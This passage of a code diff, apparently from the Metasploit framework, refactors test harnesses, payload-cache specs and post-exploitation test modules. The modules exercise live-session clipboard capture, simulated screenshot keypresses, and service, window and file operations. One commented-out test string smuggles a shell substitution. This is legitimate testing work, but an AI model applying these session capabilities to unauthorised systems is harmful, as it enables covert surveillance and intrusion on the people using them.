'cmd/mainframe/generic_jcl' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -1136,6 +1208,22 @@ reference_name: 'cmd/windows/generic' end + context 'cmd/windows/http/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/http/x64' + ], + reference_name: 'cmd/windows/http/x64' + end + + context 'cmd/windows/https/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/https/x64' + ], + reference_name: 'cmd/windows/https/x64' + end + context 'cmd/windows/powershell' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ @@ -1240,6 +1328,14 @@ reference_name: 'cmd/windows/jjs_reverse_tcp' end + context 'cmd/windows/tftp/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/windows/tftp/x64' + ], + reference_name: 'cmd/windows/tftp/x64' + end + context 'firefox/exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ diff --git a/spec/support/shared/contexts/wait_for_expect.rb b/spec/support/shared/contexts/wait_for_expect.rb new file mode 100644 index 0000000000000..ff73d069ff028 --- /dev/null +++ b/spec/support/shared/contexts/wait_for_expect.rb @@ -0,0 +1,23 @@ +RSpec.shared_context "wait_for_expect" do + # Waits until the given expectations are all true. This function executes the given block, + # and if a failure occurs it will be retried `retry_count` times before finally failing. + # This is useful to expect against asynchronous/eventually consistent systems. + # + # @param retry_count [Integer] The total amount of times to retry the given expectation + # @param sleep_duration [Integer] The total amount of time to sleep before trying again + def wait_for_expect(retry_count = 40, sleep_duration = 0.5) + failure_count = 0 + + begin + yield + rescue RSpec::Expectations::ExpectationNotMetError + failure_count += 1 + if failure_count < retry_count + sleep sleep_duration + retry + else + raise + end + end + end +end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 4b6ab82161780..1b3a8c2d8dc92 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -33,7 +33,7 @@ def migrate it 'should return an ActiveRecord::MigrationContext with known migrations' do migrations_paths = [File.expand_path("../../../../../file_fixtures/migrate", __dir__)] - expect(ActiveRecord::Migrator).to receive(:migrations_paths).and_return(migrations_paths).exactly(2).times + expect(ActiveRecord::Migrator).to receive(:migrations_paths).and_return(migrations_paths).exactly(1).times result = migrate expect(result.size).to eq 1 expect(result[0].name).to eq "TestDbMigration" diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 5ab8da7e2df8b..1046ed35ae257 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -153,86 +153,157 @@ def module_info_by_path end end - context '#load_cached_module' do - subject(:load_cached_module) do - module_manager.load_cached_module(type, reference_name) - end + describe '#load_cached_module' do + context 'with memory cache' do + subject(:load_cached_module) do + module_manager.load_cached_module(type, reference_name, cache_type: Msf::ModuleManager::Cache::MEMORY) + end - before(:example) do - module_manager.send(:module_info_by_path=, module_info_by_path) - end + before(:example) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end - context 'with module info in cache' do - include_context 'Metasploit::Framework::Spec::Constants cleaner' + context 'with module info in cache' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' - let(:module_info_by_path) do - { + let(:module_info_by_path) do + { 'path/to/module' => { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type + :parent_path => parent_path, + :reference_name => reference_name, + :type => type } - } - end + } + end - it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do - # Only the first one gets it since it finds the module - first_loader = module_manager.send(:loaders).first - expect(first_loader).to receive(:loadable_module?).with(parent_path, type, reference_name).and_return(false) - expect(first_loader).not_to receive(:load_module) + it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do + # Only the first one gets it since it finds the module + first_loader = module_manager.send(:loaders).first + expect(first_loader).to receive(:loadable_module?).with(parent_path, type, reference_name).and_return(false) + expect(first_loader).not_to receive(:load_module) - second_loader = module_manager.send(:loaders).second - expect(second_loader).to receive(:loadable_module?).with(parent_path, type, reference_name).and_return(true) - expect(second_loader).to receive(:load_module).with(parent_path, type, reference_name, force: true).and_call_original + second_loader = module_manager.send(:loaders).second + expect(second_loader).to receive(:loadable_module?).with(parent_path, type, reference_name).and_return(true) + expect(second_loader).to receive(:load_module).with(parent_path, type, reference_name, force: true, cached_metadata: nil).and_call_original - load_cached_module - end + load_cached_module + end - it 'should force load using #load_module on the loader' do - expect_any_instance_of(Msf::Modules::Loader::Directory).to receive( - :load_module - ).with( + it 'should force load using #load_module on the loader' do + expect_any_instance_of(Msf::Modules::Loader::Directory).to receive( + :load_module + ).with( parent_path, type, reference_name, - :force => true - ).and_call_original + :force => true, + :cached_metadata => nil + ).and_call_original - load_cached_module + load_cached_module + end + + context 'return from load_module' do + before(:example) do + # Only the first one gets it since it finds the module + loader = module_manager.send(:loaders).first + expect(loader).to receive(:load_module).and_return(module_loaded) + end + + context 'with false' do + let(:module_loaded) do + false + end + + it { is_expected.to be_falsey } + end + + context 'with true' do + let(:module_loaded) do + true + end + + it { is_expected.to be_truthy } + end + end end - context 'return from load_module' do - before(:example) do + context 'without module info in cache' do + let(:module_info_by_path) do + {} + end + + it { is_expected.to be_falsey } + end + end + + context 'with filesystem cache' do + subject(:load_cached_module) do + module_manager.load_cached_module(type, reference_name, cache_type: Msf::ModuleManager::Cache::FILESYSTEM) + end + + context 'with module info in cache' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do # Only the first one gets it since it finds the module - loader = module_manager.send(:loaders).first - expect(loader).to receive(:load_module).and_return(module_loaded) + first_loader = module_manager.send(:loaders).first + expect(first_loader).to receive(:load_module).with(parent_path, type, reference_name, force: true, cached_metadata: instance_of(Msf::Modules::Metadata::Obj)).and_return(false) + + second_loader = module_manager.send(:loaders).second + expect(second_loader).to receive(:load_module).with(parent_path, type, reference_name, force: true, cached_metadata: instance_of(Msf::Modules::Metadata::Obj)).and_call_original + + load_cached_module end - context 'with false' do - let(:module_loaded) do - false - end + it 'should force load using #load_module on the loader' do + expect_any_instance_of(Msf::Modules::Loader::Directory).to receive( + :load_module + ).with( + parent_path, + type, + reference_name, + :force => true, + :cached_metadata => instance_of(Msf::Modules::Metadata::Obj) + ).and_call_original - it { is_expected.to be_falsey } + load_cached_module end - context 'with true' do - let(:module_loaded) do - true + context 'return from load_module' do + before(:example) do + # Only the first one gets it since it finds the module + loader = module_manager.send(:loaders).first + expect(loader).to receive(:load_module).and_return(module_loaded) end - it { is_expected.to be_truthy } + context 'with false' do + let(:module_loaded) do + false + end + + it { is_expected.to be_falsey } + end + + context 'with true' do + let(:module_loaded) do + true + end + + it { is_expected.to be_truthy } + end end end - end - context 'without module info in cache' do - let(:module_info_by_path) do - {} + context 'without module info in cache' do + before(:example) do + allow(Msf::Modules::Metadata::Cache.instance).to receive(:get_module_reference).with(anything).and_return(nil) + end + it { is_expected.to be_falsey } end - - it { is_expected.to be_falsey } end + + end context '#refresh_cache_from_module_files' do diff --git a/test/lib/module_test.rb b/test/lib/module_test.rb index 17a5583e88be9..1c6b2ba19cc44 100644 --- a/test/lib/module_test.rb +++ b/test/lib/module_test.rb @@ -1,7 +1,10 @@ +require 'rex/stopwatch' + module Msf module ModuleTest attr_accessor :tests attr_accessor :failures + attr_accessor :skipped class SkipTestError < ::Exception end @@ -9,13 +12,21 @@ class SkipTestError < ::Exception def initialize(info = {}) @tests = 0 @failures = 0 + @skipped = 0 super end def run_all_tests tests = self.methods.select { |m| m.to_s =~ /^test_/ } tests.each { |test_method| - self.send(test_method) + begin + self.send(test_method) + rescue SkipTestError => e + # If the entire def is skipped, increment tests and skip count + @tests += 1 + @skipped += 1 + print_status("SKIPPED: def #{test_method} (#{e.message})") + end } end @@ -24,23 +35,30 @@ def skip(msg = "No reason given") end def it(msg = "", &block) + @current_it_msg = msg @tests += 1 begin result = block.call unless result - print_error("FAILED: #{msg}") - print_error("FAILED: #{error}") if error @failures += 1 + print_error("FAILED: #{error}") if error + @current_it_msg = nil + print_error("FAILED: #{msg}") return end rescue SkipTestError => e + @skipped += 1 + @current_it_msg = nil print_status("SKIPPED: #{msg} (#{e.message})") rescue ::Exception => e + @failures += 1 print_error("FAILED: #{msg}") print_error("Exception: #{e.class}: #{e}") dlog("Exception in testing - #{msg}") dlog("Call stack: #{e.backtrace.join("\n")}") return + ensure + @current_it_msg = nil end print_good("#{msg}") @@ -49,6 +67,27 @@ def it(msg = "", &block) def pending(msg = "", &block) print_status("PENDING: #{msg}") end + + # @return [Integer] The number of tests that have passed + def passed + @tests - @failures + end + + # When printing to console, additionally prepend the current test name + [ + :print, + :print_line, + :print_status, + :print_good, + + :print_warning, + :print_error, + :print_bad, + ].each do |method| + define_method(method) do |msg| + super(@current_it_msg ? "[#{@current_it_msg}] #{msg}" : msg) + end + end end module ModuleTest::PostTest @@ -57,16 +96,96 @@ def run print_status("Running against session #{datastore["SESSION"]}") print_status("Session type is #{session.type} and platform is #{session.platform}") - t = Time.now - @tests = 0; @failures = 0 - run_all_tests + @tests = 0 + @failures = 0 + @skipped = 0 + + _res, elapsed_time = Rex::Stopwatch.elapsed_time do + run_all_tests + end - vprint_status("Testing complete in #{Time.now - t}") - if (@failures > 0) - print_error("Passed: #{@tests - @failures}; Failed: #{@failures}") + vprint_status("Testing complete in #{elapsed_time.round(2)} seconds") + status = "Passed: #{passed}; Failed: #{@failures}; Skipped: #{@skipped}" + if @failures > 0 + print_error(status) else - print_status("Passed: #{@tests - @failures}; Failed: #{@failures}") + print_status(status) end end end + + module ModuleTest::PostTestFileSystem + def initialize(info = {}) + super + + register_options( + [ + OptBool.new("AddEntropy", [false, "Add entropy token to file and directory names.", true]), + OptString.new('BaseDirectoryName', [true, 'Directory name to create', 'meterpreter-test-dir']), + OptString.new("BaseFileName", [true, "File/dir base name", "meterpreter-test"]), + ], self.class + ) + + @directory_stack = [] + end + + def push_test_directory + @directory_stack.push(_file_system.pwd) + + # Find the temp directory + tmp = _file_system.get_env("TMP") || _file_system.get_env("TMPDIR") + # mettle fallback + tmp = '/tmp' if tmp.nil? && _file_system.directory?('/tmp') + raise "Could not find tmp directory" if tmp == nil || !_file_system.directory?(tmp) + + vprint_status("Setup: changing working directory to tmp: #{tmp}") + _file_system.cd(tmp) + + vprint_status("Setup: Creating clean directory") + + if datastore["AddEntropy"] + entropy_value = '-' + ('a'..'z').to_a.shuffle[0, 8].join + else + entropy_value = "" + end + clean_test_directory = datastore['BaseDirectoryName'] + entropy_value + _file_system.mkdir(clean_test_directory) + _file_system.cd(clean_test_directory) + + vprint_status("Setup: Now in #{_file_system.pwd}") + end + + def pop_test_directory + previous_directory = @directory_stack.pop + unless previous_directory.nil? + vprint_status("Cleanup: changing working directory back to #{previous_directory}") + _file_system.cd(previous_directory) + end + end + + # Private PostFile wrapper to ensure we don't clobber the test module's namespace with the Msf::Post::File mixin methods + class FileSystem + include Msf::Post::File + + def initialize(mod) + @mod = mod + @session = mod.session + end + + private + + def vprint_status(s) + @mod.vprint_status(s) + end + + def register_dir_for_cleanup(path) + end + + attr_reader :session + end + + def _file_system + FileSystem.new(self) + end + end end diff --git a/test/modules/post/test/all.rb b/test/modules/post/test/all.rb new file mode 100644 index 0000000000000..18b49cd9ef2fb --- /dev/null +++ b/test/modules/post/test/all.rb @@ -0,0 +1,155 @@ +require 'rex' + +lib = File.join(Msf::Config.install_root, "test", "lib") +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) +require 'module_test' + +class MetasploitModule < Msf::Post + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Test all applicable post modules', + 'Description' => %q{ This module run all applicable post modules against the current session }, + 'License' => MSF_LICENSE, + 'Author' => [ 'alanfoster'], + 'Platform' => [ 'linux', 'unix', 'osx', 'windows', 'java' ], + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] + ) + ) + end + + def run + available_modules = select_available_modules + session_metadata = "#{session.session_type} session #{session.sid}" + + print_status("Applicable modules:") + print_line( + matching_modules_table(available_modules, header: "Valid modules for #{session_metadata}", with_results: false) + ) + + module_results = run_modules(available_modules) + + print_status("Modules results:") + print_line(matching_modules_table(module_results, header: "Results for #{session_metadata}", with_results: true)) + end + + def select_available_modules + session_platform = Msf::Module::Platform.find_platform(session.platform) + session_type = session.type + + module_results = [] + framework.modules.post.each do |refname, _clazz| + next unless refname.start_with?('test/') && refname != self.refname + mod = framework.modules.create(refname) + + verify_result = { + is_session_platform: mod.platform.platforms.include?(session_platform), + is_session_type: mod.session_types.include?(session_type) + } + verify_result[:is_valid] = verify_result[:is_session_platform] && verify_result[:is_session_type] + module_results << { module: mod, **verify_result } + end + module_results + end + + def run_modules(available_modules) + results = [] + available_modules.each do |available_module| + next unless available_module[:is_valid] + + print_status("Running #{available_module[:module].refname} against session #{datastore["SESSION"]}") + print_status("-" * 80) + + module_replicant = nil + available_module[:module].run_simple( + 'LocalInput' => user_input, + 'LocalOutput' => user_output, + 'Options' => datastore.copy + ) { |yielded_module_replicant| module_replicant = yielded_module_replicant } + + results << { + **available_module, + tests: module_replicant.tests, + passed: module_replicant.passed, + failures: module_replicant.failures, + skipped: module_replicant.skipped, + } + + print_status("-" * 80) + end + results + end + + def matching_modules_table(module_results, header:, with_results:) + name_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new + boolean_styler = ::Msf::Ui::Console::TablePrint::CustomColorStyler.new({ 'Yes' => '%grn', 'No' => '%red' }) + rows = module_results.sort_by { |module_result| module_result[:is_valid] ? 0 : 1 }.map.with_index do |module_result, index| + next if with_results && !module_result[:is_valid] + + name_styler.merge!({ module_result[:module].refname => module_result[:is_valid] ? '%grn' : '%red' }) + data = [ + index, + module_result[:module].refname, + module_result[:is_session_platform] ? 'Yes' : 'No', + module_result[:is_session_type] ? 'Yes' : 'No', + ] + + if with_results + data += [ + module_result[:tests].to_s, + module_result[:passed].to_s, + module_result[:failures].to_s, + module_result[:skipped].to_s, + ] + end + + data + end.compact + + table = Rex::Text::Table.new( + 'Header' => header, + 'Indent' => 1, + 'Columns' => [ '#', 'Name', 'is_session_platform', 'is_session_type' ] + (with_results ? ['total', 'passed', 'failures', 'skipped'] : []), + 'SortIndex' => -1, + 'WordWrap' => false, + 'ColProps' => { + 'Name' => { + 'Stylers' => [name_styler] + }, + 'is_session_platform' => { + 'Stylers' => [boolean_styler] + }, + 'is_session_type' => { + 'Stylers' => [boolean_styler] + }, + 'total' => { + 'Stylers' => [] + }, + 'passed' => { + 'Stylers' => [StyleIfGreaterThanZero.new(color: '%grn')] + }, + 'failures' => { + 'Stylers' => [StyleIfGreaterThanZero.new(color: '%red')] + }, + 'skipped' => { + 'Stylers' => [StyleIfGreaterThanZero.new(color: '%yel')] + } + }, + 'Rows' => rows + ) + + table.to_s + end + + class StyleIfGreaterThanZero + def initialize(color:) + @color = color + end + + def style(value) + value.to_i > 0 ? "#{@color}#{value}%clr" : value + end + end +end diff --git a/test/modules/post/test/cmd_exec.rb b/test/modules/post/test/cmd_exec.rb index 1456f9b49b5d8..0b32f5132e363 100644 --- a/test/modules/post/test/cmd_exec.rb +++ b/test/modules/post/test/cmd_exec.rb @@ -15,8 +15,8 @@ def initialize(info = {}) 'Name' => 'Meterpreter cmd_exec test', 'Description' => %q( This module will test the meterpreter cmd_exec API ), 'License' => MSF_LICENSE, - 'Platform' => ['windows', 'linux', 'unix'], - 'SessionTypes' => ['meterpreter'] + 'Platform' => [ 'windows', 'linux', 'unix', 'java', 'osx' ], + 'SessionTypes' => ['meterpreter', 'shell', 'powershell'] ) ) end diff --git a/test/modules/post/test/extapi.rb b/test/modules/post/test/extapi.rb index 460ebd0cee0c2..2867e3d417fab 100644 --- a/test/modules/post/test/extapi.rb +++ b/test/modules/post/test/extapi.rb @@ -1,7 +1,7 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post @@ -30,8 +30,8 @@ def setup vprint_status("Loading extapi extension...") begin session.core.use("extapi") - rescue Errno::ENOENT - print_error("This module is only available in a windows meterpreter session.") + rescue Errno::ENOENT, Rex::Post::Meterpreter::ExtensionLoadError + print_status("This module is only available in a windows meterpreter session.") return end end @@ -40,174 +40,160 @@ def setup end def test_clipboard_management + return skip('session platform is not windows') unless session.platform == 'windows' + vprint_status("Starting clipboard management tests") - services = nil - if session.commands.include? "extapi_clipboard_get_data" - ret = false - it "should return an array of clipboard data" do - clipboard = session.extapi.clipboard.get_data(false) + it "should return an array of clipboard data" do + return skip('session does not support COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA) - if clipboard && clipboard.any? && clipboard.first[:type] - vprint_status("Clipboard: #{clipboard}") - ret = true - end + ret = false + clipboard = session.extapi.clipboard.get_data(false) - ret + if clipboard && clipboard.any? && clipboard.first[:type] + vprint_status("Clipboard: #{clipboard}") + ret = true end - if session.railgun.user32 - it "should return clipboard jpg dimensions" do - ret = false + ret + end - # VK_PRINTSCREEN 154 Maybe needed on XP? - # VK_SNAPSHOT 44 - session.railgun.user32.keybd_event(44, 0, 0, 0) - session.railgun.user32.keybd_event(44, 0, 'KEYEVENTF_KEYUP', 0) + it "should return clipboard jpg dimensions" do + return skip("Session doesn't implement railgun.user32, skipping jpg test") unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) && session.railgun.user32 - clipboard = session.extapi.clipboard.get_data(false) - ret = clipboard && clipboard.first && (clipboard.first[:type] == :jpg) && clipboard.first[:width] - end - else - print_status("Session doesn't implement railgun.user32, skipping jpg test") - end + # VK_PRINTSCREEN 154 Maybe needed on XP? + # VK_SNAPSHOT 44 + session.railgun.user32.keybd_event(44, 0, 0, 0) + session.railgun.user32.keybd_event(44, 0, 'KEYEVENTF_KEYUP', 0) - if session.commands.include? "extapi_clipboard_set_data" - ret = false + clipboard = session.extapi.clipboard.get_data(false) + ret = clipboard && clipboard.first && (clipboard.first[:type] == :jpg) && clipboard.first[:width] + ret + end - it "should set clipboard text" do - ret = false - text = Rex::Text.rand_text_alphanumeric(1024) - ret = session.extapi.clipboard.set_text(text) + it "should set clipboard text" do + return skip('session does not support COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA) - if ret - clipboard = session.extapi.clipboard.get_data(false) - ret = clipboard && clipboard.first && (clipboard.first[:type] == :text) && (clipboard.first[:data] == text) - end + text = Rex::Text.rand_text_alphanumeric(1024) + ret = session.extapi.clipboard.set_text(text) - ret - end - else - vprint_status("Session doesn't implement extapi_clipboard_set_data, skipping test") - end - - it "should download clipboard text data" do - ret = false - text = Rex::Text.rand_text_alphanumeric(1024) - ret = session.extapi.clipboard.set_text(text) - clipboard = session.extapi.clipboard.get_data(true) + if ret + clipboard = session.extapi.clipboard.get_data(false) ret = clipboard && clipboard.first && (clipboard.first[:type] == :text) && (clipboard.first[:data] == text) end - if session.railgun.user32 - it "should download clipboard jpg data" do - ret = false - - # VK_PRINTSCREEN 154 Maybe needed on XP? - # VK_SNAPSHOT 44 - session.railgun.user32.keybd_event(44, 0, 0, 0) - session.railgun.user32.keybd_event(44, 0, 'KEYEVENTF_KEYUP', 0) - - clipboard = session.extapi.clipboard.get_data(true) - if clipboard && clipboard.first && (clipboard.first[:type] == :jpg) && !(clipboard.first[:data].empty?) - # JPG Magic Bytes - ret = (clipboard.first[:data][0, 2] == "\xFF\xD8") - end - - ret - end - else - print_status("Session doesn't implement railgun.user32, skipping download_jpg test") + ret + end + + it "should download clipboard text data" do + return skip('session does not support COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA) + + text = Rex::Text.rand_text_alphanumeric(1024) + ret = session.extapi.clipboard.set_text(text) + clipboard = session.extapi.clipboard.get_data(true) + ret = clipboard && clipboard.first && (clipboard.first[:type] == :text) && (clipboard.first[:data] == text) + ret + end + + it "should download clipboard jpg data" do + return skip("Session doesn't implement railgun.user32, skipping download_jpg test") unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) && session.railgun.user32 + + ret = false + + # VK_PRINTSCREEN 154 Maybe needed on XP? + # VK_SNAPSHOT 44 + session.railgun.user32.keybd_event(44, 0, 0, 0) + session.railgun.user32.keybd_event(44, 0, 'KEYEVENTF_KEYUP', 0) + + clipboard = session.extapi.clipboard.get_data(true) + if clipboard && clipboard.first && (clipboard.first[:type] == :jpg) && !(clipboard.first[:data].empty?) + # JPG Magic Bytes + ret = (clipboard.first[:data][0, 2] == "\xFF\xD8") end - else - print_status("Session doesn't implement extapi_clipboard_get_data, skipping test") + + ret end end def test_service_management + return skip('session platform is not windows') unless session.platform == 'windows' + vprint_status("Starting service management tests") services = nil - if session.commands.include? "extapi_service_enum" - ret = false - it "should return an array of services" do - services = session.extapi.service.enumerate + it "should return an array of services" do + return skip('session does not support COMMAND_ID_EXTAPI_SERVICE_ENUM') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_SERVICE_ENUM) - if services && services.any? && services.first[:name] - vprint_status("First service: #{services.first}") - ret = true - end + services = session.extapi.service.enumerate - ret + if services && services.any? && services.first[:name] + vprint_status("First service: #{services.first}") + ret = true end - if session.commands.include? "extapi_service_query" - ret = false + ret + end - it "should return service information" do - service = session.extapi.service.query(services.first[:name]) - vprint_status("Service info: #{service}") - if service && service[:starttype] - ret = true - end + it "should return service information" do + return skip('session does not support COMMAND_ID_EXTAPI_SERVICE_QUERY') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_SERVICE_QUERY) - ret - end - else - print_status("Session doesn't implement extapi_service_query, skipping test") + service = session.extapi.service.query(services.first[:name]) + vprint_status("Service info: #{service}") + if service && service[:starttype] + ret = true end - else - print_status("Session doesn't implement extapi_service_enum, skipping test") + + ret end end def test_desktop_windows_management + return skip('session platform is not windows') unless session.platform == 'windows' + vprint_status("Starting desktop windows management tests") windows = nil - if session.commands.include? "extapi_window_enum" - ret = false - it "should return an array of windows" do - windows = session.extapi.window.enumerate(false, nil) + it "should return an array of windows" do + return skip('session does not support COMMAND_ID_EXTAPI_WINDOW_ENUM') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_WINDOW_ENUM) - if windows && windows.any? && windows.first[:handle] - vprint_status("First window: #{windows.first}") - ret = true - end + windows = session.extapi.window.enumerate(false, nil) - ret + if windows && windows.any? && windows.first[:handle] + vprint_status("First window: #{windows.first}") + ret = true end - it "should return an array including unknown windows" do - ret = false - windows = session.extapi.window.enumerate(true, nil) + ret + end + + it "should return an array including unknown windows" do + return skip('session does not support COMMAND_ID_EXTAPI_WINDOW_ENUM') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_WINDOW_ENUM) - if windows && windows.any? - unknowns = windows.select { |w| w[:title] == "" } - ret = !unknowns.empty? - end + ret = false + windows = session.extapi.window.enumerate(true, nil) - ret + if windows && windows.any? + unknowns = windows.select { |w| w[:title] == "" } + ret = !unknowns.empty? end + ret + end + + it "should return an array of a windows children" do + return skip('session does not support COMMAND_ID_EXTAPI_WINDOW_ENUM') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_WINDOW_ENUM) + + windows = session.extapi.window.enumerate(true, nil) parent = windows.select { |w| w[:title] =~ /program manager/i } + return skip("Unable to find a suitable parent, skipping test") unless parent && parent.first - if parent && parent.first - it "should return an array of a windows children" do - ret = false - children = session.extapi.window.enumerate(true, parent.first[:handle]) - if children && children.any? - vprint_status("First child: #{children.first}") - ret = true - end - - ret - end - else - print_status("Unable to find a suitable parent, skipping test") + ret = false + children = session.extapi.window.enumerate(true, parent.first[:handle]) + if children && children.any? + vprint_status("First child: #{children.first}") + ret = true end - else - print_status("Session doesn't implement extapi_window_enum, skipping test") + ret end end end diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index 49ab0a086447a..9dbcaa24d850f 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTestFileSystem include Msf::Post::Common include Msf::Post::File @@ -20,17 +21,10 @@ def initialize(info = {}) 'Description' => %q{ This module will test Post::File API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt' ], - 'Platform' => [ 'windows', 'linux', 'unix', 'java' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'Platform' => [ 'windows', 'linux', 'unix', 'java', 'osx' ], + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) - - register_options( - [ - OptString.new('BaseDirectoryName', [true, 'Directory name to create', 'test-dir']), - OptString.new('BaseFileName', [true, 'File name to create', 'test-file']) - ], self.class - ) end # @@ -39,11 +33,12 @@ def initialize(info = {}) # The +cleanup+ method will change it back # def setup - @old_pwd = pwd - tmp = directory?('/tmp') ? '/tmp' : '%TEMP%' - vprint_status("Setup: changing working directory to #{tmp}") - cd(tmp) + push_test_directory + super + end + def cleanup + pop_test_directory super end @@ -212,8 +207,9 @@ def test_file def test_binary_files # binary_data = ::File.read("/bin/ls") - binary_data = ::File.read('/bin/echo') + # binary_data = ::File.read('/bin/echo') # binary_data = "\xff\x00\xff\xfe\xff\`$(echo blha)\`" + binary_data = ((0..255).to_a * 500).shuffle.pack("c*") it 'should write binary data' do vprint_status "Writing #{binary_data.length} bytes" t = Time.now @@ -283,15 +279,9 @@ def test_path_expansion_nix end end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - cd(@old_pwd) - super - end - def make_symlink(target, symlink) if session.platform == 'windows' - cmd_exec("cmd.exe /c mklink #{directory?(target) ? '/D ' : ''}#{symlink} #{target}") + cmd_exec("cmd.exe", "/c mklink #{directory?(target) ? '/D ' : ''}#{symlink} #{target}") else cmd_exec("ln -s $(pwd)/#{target} $(pwd)/#{symlink}") end diff --git a/test/modules/post/test/get_env.rb b/test/modules/post/test/get_env.rb index cfda90913afd0..f4a718b724e2b 100644 --- a/test/modules/post/test/get_env.rb +++ b/test/modules/post/test/get_env.rb @@ -1,4 +1,5 @@ lib = File.join(Msf::Config.install_root, "test", "lib") +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' # load 'test/lib/module_test.rb' @@ -18,8 +19,8 @@ def initialize(info = {}) 'Description' => %q{ This module will test Post::Common get envs API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell'], - 'Platform' => [ 'windows', 'linux', 'java', 'python' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] + 'Platform' => [ 'windows', 'linux', 'unix', 'java', 'python', 'osx' ], + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ] ) ) end diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index b8e0bf442a8c6..3225057997716 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -2,12 +2,13 @@ require 'rex' lib = File.join(Msf::Config.install_root, "test", "lib") -$:.push(lib) unless $:.include?(lib) +$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib) require 'module_test' class MetasploitModule < Msf::Post include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTestFileSystem def initialize(info = {}) super( @@ -17,36 +18,24 @@ def initialize(info = {}) 'Description' => %q{ This module will test meterpreter API methods }, 'License' => MSF_LICENSE, 'Author' => [ 'egypt'], - 'Platform' => [ 'windows', 'linux', 'java' ], + 'Platform' => [ 'windows', 'linux', 'java', 'osx' ], 'SessionTypes' => [ 'meterpreter' ] ) ) - register_options( - [ - OptBool.new("AddEntropy", [false, "Add entropy token to file and directory names.", false]), - OptString.new("BaseFileName", [true, "File/dir base name", "meterpreter-test"]) - ], self.class - ) end # # Change directory into a place that we have write access. # - # The +cleanup+ method will change it back. This method is an implementation - # of post/test/file.rb's method of the same name, but without the Post::File - # dependency. + # The +cleanup+ method will change it back. # def setup - @old_pwd = session.fs.dir.getwd - stat = session.fs.file.stat("/tmp") rescue nil - if (stat and stat.directory?) - tmp = "/tmp" - else - tmp = session.sys.config.getenv('TEMP') - end - vprint_status("Setup: changing working directory to #{tmp}") - session.fs.dir.chdir(tmp) + push_test_directory + super + end + def cleanup + pop_test_directory super end @@ -111,8 +100,7 @@ def test_sys_config def test_net_config unless (session.commands.include? Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES) - vprint_status("This meterpreter does not implement get_interfaces, skipping tests") - return + return skip("This meterpreter does not implement get_interfaces, skipping tests") end vprint_status("Starting networking tests") @@ -381,12 +369,6 @@ def test_sniffer end =end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - session.fs.dir.chdir(@old_pwd) - super - end - protected def create_directory(name) diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb index 